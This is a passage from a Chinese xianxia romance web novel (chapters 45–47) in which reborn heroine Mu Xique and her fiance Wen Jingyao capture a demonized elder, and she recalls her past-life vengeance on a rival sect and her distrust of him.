镇内寂静,只剩雨声。 片刻后,有人高呼了声:“祟种——祟种被压倒了!” 他们似乎听到了啼鸣声。 婉转高昂,声唳九天。 是从雾璋山传来的叫声,是青鸾。 百姓们一股脑冲出房屋,雨砸在身上,他们仰头望天,看着漫天的闻家弟子们,弟子们垂眸与一双双明亮的眼睛对视,片刻后,两方放声大笑。 闻家对仪态的规矩全数被他们抛在脑后,什么不可大笑,不可失态。 人逢喜事,为何不笑? 而镇外,慕夕阙仰头看着闻惊遥,少年长身玉立,身影挺拔,他垂眸看着镇内欢呼的弟子和百姓,并未出声打扰,雨打在他身上,又沿着衣摆滴落。 慕夕阙看着他,有那么一瞬间,觉得他真的很适合当十三州的圣尊。 他孤身一人,能撑起整个十三州,强悍又坚定。 可惜十三州圣尊注定清白不了,与鹤阶同流合污,多么讽刺。 她低头笑了一声,不知是嘲自己,还是在嘲闻惊遥。 慕夕阙听到有人朝她走过来,踩着雨水,为她撑起一柄伞,两人来的路上用了避雨咒,可方才她出手替他拦下祟种之时忘了加持避雨术,已然淋湿。 她抬起头看过去,闻惊遥站在她面前,他抬手擦去她面上的雨水,温声道:“夕阙,你看到了吗?” “看到什么?” “青鸾。”闻惊遥侧身,望向东南侧的雾璋山,“每一只玉灵都会誓死保护信奉它的百姓,东浔的青鸾如此,淞溪的金龙也同样,千千万万的玉灵镇守千千万万座城池,这是天神赐予世间的福泽。” 慕夕阙并未看雾璋山,而是看着镇内。 镇内的百姓和弟子们朝向雾璋山的方向,正在高呼。 愿青鸾佑我东浔,愿青鸾佑我族人。 愿青鸾一直在,愿青鸾一直在。 慕夕阙不知道上一辈子东浔出事后,青鸾如何? 鹤阶既然打着要戮灵的计划,那想必不会放过青鸾。 可对闻惊遥来说,青鸾是比他的性命、比他爹娘的性命都要重要的存在,这是一座城的玉灵,若青鸾不在了,东浔也便再长久不了,这城内百万人便失去了守护神。 她正胡思乱想,闻惊遥却牵住她的手,朝倒塌的天柱走去。 天柱之下压着一只祟种,祟种不断首便死不了,即使全身骨头被砸碎也能活。 那只祟种还在拼命挣扎,却如何都挣脱不了这根天柱。 闻惊遥来到他身前,薄唇微抿,沉声道:“任前辈。” 在方才瞧见这只祟种的背影,两人便都认了出来,任风煦作为慕峥的挚友,后来又经常来淞溪教蔺九尘修行,她自然也是见过的。 而闻惊遥前段时间刚去镇压过任风煦,被他的刀重伤,他过目不忘,自然也能记住任风煦的模样。 任风煦原先周正俊朗的五官已变得有些骇人,双目成了灰白色,肌肤也是暗暗的苍灰色,他看着两个人,面无表情,利爪仍在负隅顽抗试图挣脱天柱。 慕夕阙道:“任前辈事关许多事,要如何处理,杀了吗?” 杀了他,许多事情或许会难查得很。 但不杀了他,这是一只祟种,恐后患无穷。 慕夕阙只是不理解,鹤阶为何要放出任风煦来攻镇? 闻惊遥看到什么,忽然皱眉,蹲下近距离观察任风煦,这只毫无神智的祟种。 他沉声道:“任前辈不太对劲,他似乎已经突破大乘境了。” 修士化祟,最起码会是化神境的修为,也不是没有生前天赋极好的修士直接化为了大乘境的祟种,万年前便有这经历,那一百七十三只祟种中,有六只大乘境。 祟种进境迅速,且不需要过劫雷,杀人越多、血气越浓,境界则越高。 但闻惊遥一月前见他,他还只是化神满境,不到一月,且他被鹤阶关押如何去杀人提升境界,但短短一月,他已突破大乘境。 慕夕阙冷着脸:“鹤阶在放他出来杀人,让他提升境界?” “嗯。”闻惊遥站起身,薄唇紧抿,“恐怕这一月,任前辈还帮鹤阶杀了不少人,境界才能进展如此迅速,他根骨似乎也有异,境界提升太快。” “鹤阶要将他培养成杀戮武器?” “嗯。” 慕夕阙握紧手中的剑,看着被天柱镇压的任风煦。 昔日里那个会笑呵呵陪她过招的伯伯,在慕家失去慕峥后最艰难的那几年,顶着千机宗的压力援助慕家的修士,如今变成了满手鲜血的祟种,用他的刀收割了不少过去他守护的百姓性命。 “我只是不知,鹤阶弄出这么多祟种,放他们出来杀戮,要如何控制局面。”闻惊遥抬眸,望向黑黝黝的密林。 这般强悍的祟种,鹤阶如何看管,又如何收回? “鹤阶有能力镇压祟种。” 两人正想着,身后有人给了答案。 慕夕阙和闻惊遥扭头看去,一艘小巧的灵舟停在虚空,而舟上下来了两人。 师盈虚边走边骂:“非要来,你又跑不了,还得用我师家的灵舟。” 徐无咎应和道:“多谢师大小姐。” 他的话虽是对着师盈虚说的,却并未看师盈虚,而是看着地上的任风煦,那根天柱砸在他身上,将他牢牢压住。 徐无咎走到他身前,那双灰白的眼睛瞧着他,却毫无过去的慈和,而是冰冷嗜血。 他看着任风煦,却对他们说道:“你们可知鹤阶的玉灵是什么?” 师盈虚接话:“我知道,玄武。” 徐无咎道:“《十三州史》记载,玄武天生便有制煞解厄的能力,且它的寿数是所有山灵中最久远的,相传万年前玄武栖息于浮重山的湖中,成为鹤阶的玉灵,在万年前那场大战中,只有鹤阶未被祟种攻击。” 慕夕阙皱眉,问道:“玄武可以抵御祟种?” “并非如此,我义父说,鹤阶的玉灵似乎能在一定程度上镇压祟种,虽不能完全诛杀,但能大幅削弱祟种的能力。”徐无咎看向慕夕阙,脸色阴沉,“我义父生前一直在查慕峥家主的事情,查到了鹤阶头上,他是孤身暗闯鹤阶之时发现的这些,兴许也是那时被种下了秽毒。” “从鹤阶出来,我义父得知自己中了秽毒,前来倦天涯找我,最后叮嘱我一些事,关于鹤阶的玉灵也是我和他争吵之时,他说漏了嘴。” “后来,我义父本欲在化祟前自戕,却得知了亲妹的消息,前去幽州寻人,被鹤阶操控变成了祟种,带回鹤阶。” 鹤阶又怎会放过这么强大的一个祟种? 一个持正为民的化神满境修士,化成的祟种必然强悍。 果然,任风煦不负他们期望,短短一月就能突破大乘。 徐无咎垂眸,看着挣扎的任风煦,他闭上眼,一滴泪掉落。 “他还是没能寻到妹妹,他找了一辈子,十几岁弄丢了妹妹,他这辈子都活在悔恨中。” “不用找了。”慕夕阙淡声开口。 徐无咎睁开眼,愣愣看着她。 闻惊遥和师盈虚也看过来。 慕夕阙红唇微抿,看着任风煦说道:“他的妹妹是周夫人,沅湘周家的三女,周云姝。” 师盈虚懵懵问:“……什么?” 慕夕阙看着她,一字一句说道:“他的妹妹是周夫人,周云姝。” “他被千机宗上任家主收入千机宗,为了报恩,他尽力辅佐千机宗彼时的少主、现任家主应逐,整日对着应逐薄待冷对的那位妻子唤一声周夫人,却不知眼前的人,便是他找了一辈子的妹妹。” “周云姝,就是任前辈的妹妹。”《 》 45-50 第46章 第 46 章 她想要的东西,他都会为…… 慕夕阙决定血洗千机宗, 是在她八十七岁那年,慕家灭门的第六十年。 那时她只剩自己一个人了,随泱也早已死去, 她孤身在十三州寻一个个仇人,再孤身去杀。 季观澜死得很早, 在慕夕阙刚回十三州后便听说了他的死讯, 为谁所杀并不清楚,总之季观澜的命并未落到慕夕阙手中。 但季观澜死了,千机宗还在。 兴许也是这多年的厮杀, 慕夕阙的修为进境很快。 也多亏了随泱,慕夕阙在海外仙岛学了许多保命的术法,将自己的慕家功法与之融合, 捉摸不透的功法也让她在一场场厮杀中胜人一筹。 于是在她八十七岁冲破大乘境的当天, 慕夕阙孤身提剑, 一人一剑杀上了千机宗, 闯入内门。 她有仇报仇, 有怨报怨,并不牵连无辜,当年随应逐和季观澜血洗慕家的是内门一脉, 于是慕夕阙找到慕家灭门那日的千机宗出战名录,凡是夜袭慕家的长老弟子, 她一个也没放过, 包括应逐这个宗主。 她一路杀入应逐的寝殿,并未管里头抱成一团的女子和两个年幼的孩子。 应逐那时已另娶道侣, 生了个少主,先宗主夫人周云姝已死去多年。 慕夕阙在应逐的寝殿翻箱倒柜,她已是大乘境的大能, 整个十三州都寻不出来几个,那些千机宗的弟子们只敢在外面围着,却无一人敢闯进来。 而这时,有人悄悄喊她。 慕夕阙回眸,对上一双恐惧却又并无恶意的眼睛,是应逐新娶的道侣。 她战战兢兢,小声说道:“你……你是慕家二小姐吧,很多年前我见过你,我知道你要找什么东西,应逐……应逐的东西并未放在寝殿和书房,在暗室。” 她指了指那面毫无破绽的石墙,慕夕阙面无表情看了她一眼,并未在乎里面是不是有什么陷阱,左右她如今的修为,几乎无人能伤她。 慕夕阙一剑劈碎了那面墙,一条通道指向黑暗,她在那里面看到了与应逐有书信往来的人,以及当年的一些事,纵使应逐想要销毁,却总能留下些蛛丝马迹。 同时她也看到了一个熟悉的名字。 任风煦。 “是任长老。” 当慕夕阙沉默翻看的时候,应逐后娶的那位道侣走了进来。 见慕夕阙看来,她小声说:“我叫云璐,云家的二女,你或许不记得我,你十六岁去南洲除邪救过一个女子,是我。” 十六岁,慕夕阙早都忘了,她救过的人千千万,压根想不起来云璐是谁,又在何处救的。 慕夕阙并无表情,只阴沉沉看着她,那些年她几乎没说过话,也无人与她说话,时间久了,竟连如何开口都快忘了。 云璐抿了抿唇,退后了一步,离她远一些,说道:“我幼时经常来千机宗,任长老对我不错,他的事想必你也知晓,应逐当年说着要彻查任前辈化祟一事,实际没过多久,鹤阶随便给了个理由,应逐便同意除祟了。” 慕夕阙没说话,盯着她看。 云璐又道:“我一直觉得,任长老化祟一事有蹊跷,那段时间先夫人与应逐似要和离,我父亲迫我与应逐接触,我知道那些时日应逐总往鹤阶跑,任长老对我有恩,先夫人离世后没多久,我嫁给应逐,这些年应逐并不避我,我查到了些事情。” 她似乎有些害怕慕夕阙,毕竟那时的慕夕阙浑身是血,且刚斩杀了她的夫君。 云璐看着她,想上前却又不敢上前。 慕夕阙看出她的畏惧,冷着脸退后了一步,双目沉沉看着她。 云璐走上前,来到桌案前,蹲下在桌案背后摸索,随后咔哒一声,一个小盒弹了出来。 她退后,单手指了指弹出的小木盒,说道:“之前应逐的手札,我悄悄拓了一份,没敢放在别的地方,就搁在他的暗室,这桌子还是我之前送他的,他不知道有个暗盒。” 慕夕阙取出里面存放的书帛,面无表情翻看着,直到看到某一页,她顿住,盯着那几个字。 ——那个孽种终于死了!她竟然要去揭发我,说我可怜?笑话,我怎么会可怜,我坐拥千机宗,不日便能入鹤阶当长老,主子钦点我除了任风煦,我办成此事自能得他信任,我怎么会可怜? ——可怜的是她,是他们,连自己的亲妹妹在眼前都认不出来,满十三州地找,他找到什么了?一个失去记忆的女子,早已忘记了这个兄长,真可怜。 云璐说道:“我听闻过,任长老这些年一直在找一个女子,或许是应逐手札中写的这人,他的妹妹,手札中这个女子应指的是先夫人,‘孽种’指的是琛儿,应逐的第一个孩子。” 手札的这页,是七十七年前,慕夕阙并未听说过应逐与先夫人周云姝有个孩子,她并不想管千机宗的私事,可这事关任风煦。 慕夕阙以为任风煦早已被鹤阶铲除,她这些年连慕家的事都没查清楚,孤身一人,纵使有意要帮任风煦查清真相,也心有余而力不足,只能拿走那本拓印的手册。 她将应逐密室里的所有书帛卷册全数收入乾坤袋中,随后提剑越过云璐,慕夕阙不能久留,千机宗出事的消息应已传出去,以闻惊遥这整日没有正事做全追着她跑的做派,怕是不到两个时辰就能赶来。 可刚走出寝殿,身后的云璐匆匆追来,喊住她:“二小姐。” 慕夕阙并未回头。 云璐小声说:“还未谢过你当年救我的恩情,我不怨你今日做的这些事,也并非善恶不分,只是手无缚鸡之力无法约束应逐做这些伤天害理之事,我连自己的婚事都无法做主,实在羞愧。” 慕夕阙回头,看云璐身后悄悄探出两个小脑袋,是她与应逐的两个孩子。 其实到那时,她都没想起来云璐到底是谁,也只是看了云璐一眼,随后转身离开。 慕夕阙没有拯救别人的闲心,她必须得走,和闻惊遥正面相撞对她来说是个麻烦事,他格外难缠。 几乎在她刚跑出千机宗跃入深山,闻惊遥便到了千机宗,两人擦肩而过。 那时她八十七岁,闻惊遥也八十七岁。 如今重回她十七岁这年,慕夕阙看着被天柱镇压的任风煦,她上辈子并未在他的事情上下太多功夫,那时任风煦作为祟种早已被铲除多年。 如今看来,这么强大的一只祟种,鹤阶怎么可能会真的除掉? “夕阙,你如何知晓的?”师盈虚皱眉问道。 慕夕阙只道:“慕家暗桩查出来的。” 师盈虚拧眉,心下嘀咕任风煦查了这么多年都未查到,慕家暗桩怎么一查就能水落石出,可还未问出口,方才沉默的闻惊遥开了口。 “任前辈已成祟种,周夫人也忘却前尘,是否要告知周夫人之后再商议。” 闻惊遥看了眼慕夕阙,她并未看他,而是盯着任风煦。 他便不再多说,取出玉牌吩咐其余九镇的领队斩杀祟种,这等灭世邪灵不能存活,只是隐患。 几人看着地上的任风煦,皆都沉默。 末了,徐无咎抬手,从乾坤袋中取出根金链,链端迅速缠绕任风煦,将他牢牢捆住,挣扎不脱,竟能束缚一个大乘境的祟种。 师盈虚指着那根金链:“这……这不是倦天涯阁主的无渊锁吗,是他花了几百年取了上百块玄铁打造的,听说连渡劫境的修士都能捆住。” 说罢,她看着徐无咎,一脸怀疑:“你不会从倦天涯跑出来还偷了人家阁主毕生心血吧!” 徐无咎咳嗽了几声,掩嘴的袖口洇湿一摊血迹,他别过头淡声道:“对,师大小姐快去叫倦天涯追杀我吧。” 无端被呛了一下,师盈虚撸起袖子就想揍人,又被慕夕阙一把拽住。 慕夕阙道:“听闻倦天涯阁主格外器重徐公子,有意将倦天涯传给你,让你承他衣钵,这无渊锁怕是他赠予你的吧。” “嗯。”徐无咎应了声,擦去唇角的血,白发垂在身前晃晃悠悠,也染上了些血迹,他无暇清理,看向慕夕阙和闻惊遥,“两位可以挪开天柱吗,我义父是得杀,但不是现在,他事关许多事情,如今还请留他一命。” 闻惊遥沉沉看他,徐无咎并未再说。 过了会儿,闻惊遥抬手,扯去这灵力幻化成的天柱,任风煦更加发狂,挣扎得愈发狠,却又被无渊锁束缚着无法挣脱,一身修为都被捆住。 闻惊遥牵起慕夕阙的手,只对徐无咎和师盈虚道:“还请两位先带任前辈回主城,向阿娘和朝家主报个平安,我与夕阙处理些事情再赶回去。” 师盈虚刚想问是何事,徐无咎便礼貌颔首,拽住无渊锁,顺手拖住师盈虚往灵舟走。 师盈虚边走边骂:“我还没问是什么事呢!” “师大小姐问了也帮不上忙。” 见他二人边拌嘴边上了灵舟,慕夕阙看向闻惊遥:“你有何事?” 闻惊遥却握紧她的手,朝雁门镇走去。 街上站满了人,雁门镇的百姓,从东浔主城撤出的人,以及这些负责保护五万百姓的闻家弟子们,纵使都被雨水打湿,可人人脸上都在笑,他们再一次抵御了人祸,守住了东浔。 人群中让出一条路,慕夕阙和闻惊遥走过。 慕夕阙其实并不喜这般人多之地,太过拥挤,她上辈子与人相处的日子不如独身过活的一半,早已习惯孤独,纵使重活一世,有时见到这般多的人,听到那些略显嘈杂的声音,仍会觉得像是场梦。 一只沾了泥泞的手从一旁递来,慕夕阙低头去看,是个眼睛很亮的小娃娃。 约莫五六岁,手上沾了雨水,为她递了个果子,连果子上都沾了雨水。 那孩子身后的母亲赶忙握住她的手伸回去,对慕夕阙道:“二小姐,抱歉,孩子还小。” 东浔无人不知自家少主前些时日刚定亲,能与闻惊遥牵手的女子,身份一目了然。 慕夕阙看着那个孩子亮若黑葡的眼睛,扯出抹略显僵硬的笑,接过那只小手递来的果子,随意擦了擦,丝毫不介意洗过没,当着她的面咬了一口:“很甜,多谢。” 孩子倒是埋进母亲的怀抱羞涩一笑,那母亲似乎愣了下,赶忙反应过来,对她道:“自家种的果子,难得二小姐不嫌弃,若爱吃,我去给你多拿些。” “不用麻烦,若想吃,我会自己来的。”慕夕阙笑一笑,对她怀里的孩子扬了扬手。 她和闻惊遥离开,少年似乎要去一个地方,两人穿了一路,慕夕阙也将那个并不算大的果子吃完。 看她皱眉啃完果子,闻惊遥笑起来:“这果子名唤酸浆果,其实是酸的。” 慕夕阙顿住,面无表情看他:“那你刚刚怎么不说?” 她尝一口便觉得酸,当着孩子的面愣是强忍着说甜,怕是方才那母亲也觉得她味觉清奇,因此才愣了那一下。 这里已经无人了,闻惊遥偏头看她,笑着说:“夕阙,没关系的,那个孩子开心,你也欢喜,这便足够了。” 慕夕阙别过头:“我只是怕那孩子哭。” 闻惊遥并未追问,握紧她的手,他笑了下,应着她的话说:“我知道的。” 他知道的,慕夕阙最是嘴硬心软。 闻惊遥牵着她进了祠庙,这里早已倒塌,他松开慕夕阙,挽起袖子推开倒下的木板和瓦片,将供奉的青鸾神像清理出来。 他拿起来,未带锦帕,只能用洁净的衣袖擦拭,将上面的灰尘尽数抹去,随后将它摆放在挖出来的供台上,布了个灵术避雨。 慕夕阙看他忙活完,他似乎只是来挖出青鸾神像,放置好后便转身,又牵起慕夕阙的手。 “就只是来做这件事?”慕夕阙问道。 闻惊遥沉声说:“这只是其中之一,我更想带你看看雁门镇。” 慕夕阙拧眉,她也时常琢磨不透闻惊遥的心思,这人看着话少,不争不抢,可心思沉闷,难以理解。 闻惊遥单手撑伞,伞面向她那边倾斜,雨水打在竹骨伞上,又沿着光滑的伞面下滑,聚成一面水帘。 明明深夜,可雁门镇的灯却在方才陆续点上,弟子们被邀去百姓家中就坐用膳,喧喧嚷嚷,盛况罕见。 两人并肩走在街上,时不时会有人从窗内探出头,邀他们用膳,少年尽数婉拒,他似乎真的如他说的那般,只是想带她看看雁门镇。 他们一路走回,到镇门前,闻惊遥停下,回头看向灯火齐明的雁门镇。 “夕阙,你还记得你十三岁时与我说的话吗?” 慕夕阙眉心微蹙,她十三岁说的话多了,她怎么记得是哪句? 闻惊遥看着她,说道:“那时我又一次在论道大会夺冠,闻惊遥这个名字早已传遍十三州,人人都夸我天纵奇才,我去淞溪见你,你坐* 在树上朝我扔了个果子,对我说了句话。” ——这是我们琼筵山独有的果子,是当年抵抗祟难后出现在琼筵山上的,它生长在金龙栖息的山谷旁,于是慕家为它赋名匡恶,顾名思义,扶正匡恶,我请你吃个果子,你要记住这果子的味道。 其实有些苦涩和辛辣,唯独咽下后能后知后觉品出一丝甜,闻惊遥第一次吃那么呛人的果子,他口味淡,那果子的味道他这辈子都忘不了。 就像这条大道一般,路上注定甜不了,天荆地棘,举步维艰,唯有走到路的尽头,回头去看这太平世间,或许能品出一份甜意。 “我一直都记得的。”闻惊遥看着她的眼睛,“我记得那果子的味道,也记得你说过的每一句话,若是我做祸害百姓、背信弃义之事,你会亲手杀我,我都记得。” 慕夕阙并未说话,她甚至没有情绪,只看着闻惊遥,看他那双漂亮的眼睛如今映出温和的光,看他撑伞,伞面却倾向她的一侧,雨水在他的肩头打湿,他却丝毫不在乎。 “我的未来一直都有你,我想和你一起去闯你认为正确的路,用我们的武器去肃清乾坤,身死不悔。” 闻惊遥走近了些,抬起另一只手捧住她的脸,他紧紧盯着她的眼睛。 “那你的未来呢,有我吗?” 雨似乎越下越大了,慕夕阙的耳边全是雨珠滴落在伞面上发出的声响,她甚至觉得能盖过镇内百姓和弟子们交谈的声音。 她与闻惊遥对视,他们记事起便在一起玩了,若说青梅竹马,比起年长她三岁的燕如珩,她和闻惊遥更像。 两人同龄,纵使一年见面不多,也是一同长大的。 她对闻惊遥太过信任,以至于她可以原谅当上鹤阶圣尊的他。 在她敲通天鼓、被鹤阶追杀、跌落悬崖将死,闻惊遥都未出现时,更甚至她刚返回十三州的那几月,这个圣尊满十三州地派人找她时,她都在劝自己,闻惊遥有不得已的苦衷,闻惊遥不会伤害她的。 直到慕从晚在她面前自戕,慕夕阙终于说服自己—— 没有人是不会变的,包括闻惊遥。 她别过头,看着镇外黑黝黝的密林,淡声说道:“自是有你的,我们可是要过一辈子的。” 闻惊遥垂眸,喉结滚了滚,末了收回了捧在她脸侧的手。 她明知他问的并非这个意思,却仍避而不谈。 慕夕阙转身走出他的伞下,毫不在乎地走入雨中,说道:“回主城吧,天快亮了。”- 任风煦被徐无咎带回东浔主城,无渊锁绝不会打开,庄漪禾差遣弟子连布几个阵术困住他。 而百姓们会在天亮雨停后,由闻家弟子护送回到主城,外三城需修葺清理,因此庄漪禾还需安排外三城的百姓要住在何处。 慕夕阙并未掺和那些事,她回到画墨阁,关上房门,抬手捂住嘴,呕出一口血,顺着指缝滴落在地,弄脏她的袖口和画墨阁的青砖。 她面无表情擦去自己唇边的血,走到明镜台旁。 铜镜中倒映出一张明艳冠绝的脸,慕夕阙看着镜中的自己。 她上辈子活了一百多年,其实就算没闻惊遥的诛魂阵,慕夕阙也活不了多久了。 过度使用十二辰,身体已被掏空大半,她只是撑着一口气要多活几年,在她有限的生命中,能多杀一个仇人都是她赚了。 不知为何能重活一世,诛魂阵都没能诛了她的魂魄,兴许老天开眼,但她走到如今并不容易,身前是恨不得将她一口吞下的豺狼虎豹,身后是偌大淞溪慕家,走错一步便会重蹈覆辙,她又怎么可能再信闻惊遥? 左右闻惊遥应当也没比她多活太久,身为天罡篆之主,最后还用天罡篆布下了那么强的诛魂阵,他的寿数应当也燃得差不多了,反正肯定没活过两百岁。 说不定她前脚刚走,他后脚就随她去了。 慕夕阙嗤笑了下,随手倒了几颗灵丹咽下,还未沐浴,她也无力动了,蜷起身子,和衣躺在竹榻上,这几日实在太累了,几乎刚闭上眼,意识便糊涂过去。 主宅另一侧。 闻惊遥随着一同安顿好任风煦,转身要去寻慕夕阙,却发觉她似乎走了。 他顿住,见朝蕴匆匆走来,对他道:“小夕回画墨阁了?” 闻惊遥颔首:“应是。” 朝蕴皱眉:“使用十二辰会损她的寿数,兴许她不舒服。” 闻惊遥倏然看过去:“反噬来得这般快?可她并未有异样。” “原是不会这般快的,她并未过度使用,往往都是镇压祭墟那等事情才会重创神器之主,可她身子有伤,且如今修为还未有多么强盛,乍然使用十二辰,恐怕反冲难忍。” 朝蕴刚说完,闻惊遥转身便往画墨阁去,脚步匆匆。 他们回来时乘坐了师盈虚单独留下的灵舟,在舟上她也并未有任何异样,只是沉默不语闭目休息。 他推门而入,见院内寂静,直接往后院的寝殿走,大门虚虚掩起,她并未完全关上。 闻惊遥站在门外唤了声:“夕阙?” 里头无人应他。 闻惊遥也不多浪费时间,直接推门,瞥见门口地砖上的一摊血,红得他觉得喉口都在梗疼。 她就躺在外厅的竹榻上,和衣而眠,正对寝殿大门。 闻惊遥走过去,坐在榻边,这般近的距离她都未醒来,纤细的手搭在脸侧,腕骨突出。 少年抬手搭在她的腕间,灵力蕴入她的经脉探查伤势,末了,他收回手,似是松了口气。 内伤不重,应是疲累居多。 闻惊遥握住她的手腕,将灵力传进她的经脉,疗愈她因作战断了的经脉。 如今外头天已然亮了,一缕光从半开的门中扫进来,落在她的脸上,投射出亮暗分明的斑块。 他抬起另一只手替她挡住刺目的光,安安静静看着她。 闻惊遥并不是在乎皮相的人,世人在他眼中都一个样,纵使旁人说他好看,他也并未觉得自己这张脸有何过人之处,唯独看慕夕阙,他觉得这十三州所有人都无她好看。 在闻少主看来,慕二小姐笑起来好看,凶巴巴的模样也好看,阴阳怪气的时候都比旁人漂亮,她什么样子他都喜欢,连她的一根头发丝都长在他的心头,他与她打架都不舍得斩断她的一缕青丝。 他这么小心翼翼、如珍似宝对待的人,他又怎么舍得惹她生气,又怎么会做对不起她的事情呢? 闻惊遥不明白,他做错了什么呢? 倏然间,他看到了慕夕阙浓密的长睫抖了抖,一颗晶莹的泪珠从她的眼眶坠落,沿着鼻梁滑到枕边,在锦枕上晕开,像是晕在他的心里。 那颗眼泪将他砸得恍惚,他盯着锦枕上洇湿的痕迹,喉口滚了又滚。 ……慕二小姐,哭了? 慕二小姐连骨头碎一半都能杵着剑打架,跟朝蕴吵翻了天憋着一肚子委屈都不掉一颗泪的人,竟然哭了? 闻惊遥听到抽气的声音,将他的神智拉回,他赶忙看过去,慕夕阙像是窒息了般,呼吸格外急促,搭在脸侧的手攥紧,用力到指甲都掐进掌心。 “夕阙,夕阙。”闻惊遥单膝跪在榻边,掰开她紧握的掌心,疾声唤她。 慕夕阙陡然睁开了眼。 双目相对,她眨了眨眼,旋即反应过来,转过头抬手挡住自己的脸,抹去脸上的泪痕,冷声问:“你怎么来了?” 闻惊遥默了瞬,沉声说道:“朝家主担心你使用十二辰遭到反噬,我便来看看。” 慕夕阙坐起身,恍若无事发生,说道:“无事,十二辰的反噬没那么严重,我只是累了。” 闻惊遥没再说话,他能明显觉察出慕夕阙如今心里似乎憋着火气,尤其在方才醒来看他的那一眼,与几日前她在他怀中睡醒后的眼神几乎一样,那是夹杂了怨怼和恨意的眼神。 好似在她面前的不是她要共度一生的未婚夫,而是一个她恨不得千刀万剐的仇敌。 慕夕阙从他身边起身,拢了拢凌乱的衣裳,抬步便要往外走。 有人从身后牵住了她的手腕。 慕夕阙回头,迎面的是他的怀抱,闻惊遥将她抱进怀里,他低头,鼻尖抵着她的脖颈,轻轻蹭了蹭。 “夕阙,你做噩梦了吗?” 慕夕阙没挣扎,闭上眼呼了口气。 算是噩梦吗? 算吧。 她梦到闻惊遥亲自带鹤阶来缉拿她了,在鹤阶重伤她,而她要逃走之时,他却忽然出现,站在远处的山巅上,青剑祭出,一剑堵住了她的后路。 在鹤阶送她去云川的路上,慕夕阙开口问他:“闻惊遥,为虎作伥,你真的不怕遭报应吗?” 闻惊遥只是背对着她,那些年他已褪去了少年稚气,完完全全长成了个男人,身影挺拔,威压逼人。 他背对她,淡声回道:“我等着它来劈我。” 慕夕阙被缚住修为,走进茫然大雪中的云川牢狱,她头也不回,云川鲜少下雪,在那一日也下了一场浩瀚的雪。 呼啸的雪打在脸上,对她一个被捆缚修为的凡人来说,刺骨森寒,冷得血液都仿佛凝成了冰碴,身体上的冷却远不如心底的凉。 慕夕阙深入牢狱,边走边淡声说道:“闻惊遥,我也等着看你遭报应,看天雷是怎么劈到你身上的。” 可惜到死也没等到。 这世上怎么会有业报呢? 坏人恶事做尽还能活得潇潇洒洒,好人行善积德却落得个满门尽灭,世道本就不公,她唯一能做的,只有用自己这柄剑,去杀出她认为公平的世道。 天不给她的公义,她自己去夺。 她不说话,闻惊遥没有多问,他安静抱着她,两人身上的重伤都未好,彼此的体香掩盖不住的,是苦涩的草药味。 闻惊遥闭上眼,轻声说道:“夕阙,我真的不会背叛你的。” 这次慕夕阙没当个哑巴,她淡声问:“如果有一日你真的做错了事情,你坚守你认为正确的道,与我站在对立面呢?” 闻惊遥放开她,他低头看着她的脸,看她眼底冷淡的情绪。 他问道:“你的道是肃正乾坤,我的道也是如此,我又怎会与你站在对立面呢?” “若你就是变了,就是对不起我了呢?”慕夕阙一字一句,沉声道,“我做了个梦,梦到你对我出了剑,梦到你伤害我。” 双目相对,她一派坦然,仿佛这就是个噩梦,而她只是在轻飘飘问一般。 闻惊遥捧住她的脸:“方才做的噩梦是这个吗?” 慕夕阙应了声:“嗯。” 回应她的,是一个轻而柔的吻,覆在她的唇上,一触即离。 闻惊遥近距离看着她的眼睛,轻声说道:“我不知你梦中的我是如何做的,但是夕阙,若现实中的我对你这般做了,打在你身上的任何一剑我都会百倍千倍还给我自己,若我伤你性命,我这条命也绝不会留下。” 他们看着彼此的眼睛,慕夕阙忽然弯眸笑起来,说道:“那你记住你说的话,一定要牢牢记住。” 她踮起脚,轻轻咬了口他的唇,笑意婉转问他:“天罡篆何时择主?” 闻惊遥垂下眼睫,回道:“七月中。” 慕夕阙搂住他的腰身,笑吟吟道:“你去夺天罡篆吧,我信你。” 闻惊遥并未动,直挺挺让她抱着,看她靠在他怀里抬起头,他抬手拂开她略显凌乱的发,擦去她眼尾尚存的一点泪花。 少年喉口滚了滚,问道:“夕阙,你想我去夺天罡篆是吗?” “嗯……”慕夕阙像是沉思,末了说道,“反正它得有个主人,就如你说的,你拿到天罡篆,慕闻两家的处境都会好些。” 闻惊遥低头,吻了吻她的唇,说道:“好,我会拿到天罡篆的。” 她需要的东西,他都会为她取来。 作者有话说:要切下一个大剧情点啦,前世的隐情很多也会在这段剧情里展开~ 第47章 第 47 章 暗潮 整个东浔闻家外三城被祟种和青鸾那一击摧毁得不成样子, 闻家弟子有三成在天刚亮之时便匆忙赶回主城,提前修葺。 慕夕阙和闻惊遥出门后,刚到闻家议事堂后便瞧见了朝蕴走来。 见她过来, 朝蕴急忙走上前:“小夕,你身子可有碍?” 方才在玉符中慕夕阙便回过话了, 但朝蕴担忧, 她只能再回一次:“无事,我有度,并未过度使用十二辰, 只是这几日休息太少了,有些疲累。” 朝蕴拉着她前看看后看看,又把了把脉, 确定内伤不严重后才松了口气。 她看了眼一旁的闻惊遥, 说道:“你阿娘唤你, 应是有事。” 闻惊遥颔首:“好, 那我先去。” 他简单招呼, 向议事堂大厅内走去。 闻惊遥方走,朝蕴便扯过慕夕阙,低声询问:“小夕, 阿尘和我说了你是如何操控十二辰应付那个黑衣男子的,阿娘只教过你用十二辰镇压秽毒, 可没教你如何借十二辰的力挥出杀招, 贸然使用会燃寿数的!” 慕夕阙知晓她担心,握住朝蕴的手, 淡声道:“只是先前在慕家藏书阁看过卷书册,我天资好,瞧一遍就能记住。” 藏书阁里书籍千千万, 总有朝蕴不知道的,而天资好也确实是真的,慕二小姐在修行上资质绝佳。 朝蕴又开口道:“你别唬阿娘,到底——” “阿娘,您信我。”慕夕阙看着她,“您得信我。” 朝蕴妥协了,从蔺九尘告诉她那些事情后,她心里便清楚,自己这女儿似乎变了许多,有她自己要做的事情。 慕夕阙脾气是大,但性子并不冲动,敢做的事一定是深思熟虑过的。 朝蕴叹了声,拍拍慕夕阙的手背:“你不要贸然使用十二辰,这东西只能拿去镇压秽毒,事事都用它,你的寿数会被掏空的。” 慕夕阙牵出笑:“是,我记住了。” “阿娘去看看任前辈,他身上疑团不少,兴许我们能寻到突破口。” 慕夕阙颔首,目送朝蕴离开。 她收回目光,垂眸看向自己的手。 为何会熟练使用十二辰? 历任神器之主应都知晓两个神器是向地脉和天脉借力,世上并无白占的便宜,贸然借用神力就需要付出代价,因此那些神器之主往往只用在镇压祭墟之时才会动用神器。 可慕夕阙不一样,她上一辈子没少用十二辰。 她没有办法,孤身一人,面对的是偌大鹤阶,是那些与之同流合污的世家大能们,是背后那个不知身份修为的人,她只能一次又一次地使用十二辰,熟能生巧,在这里也适用。 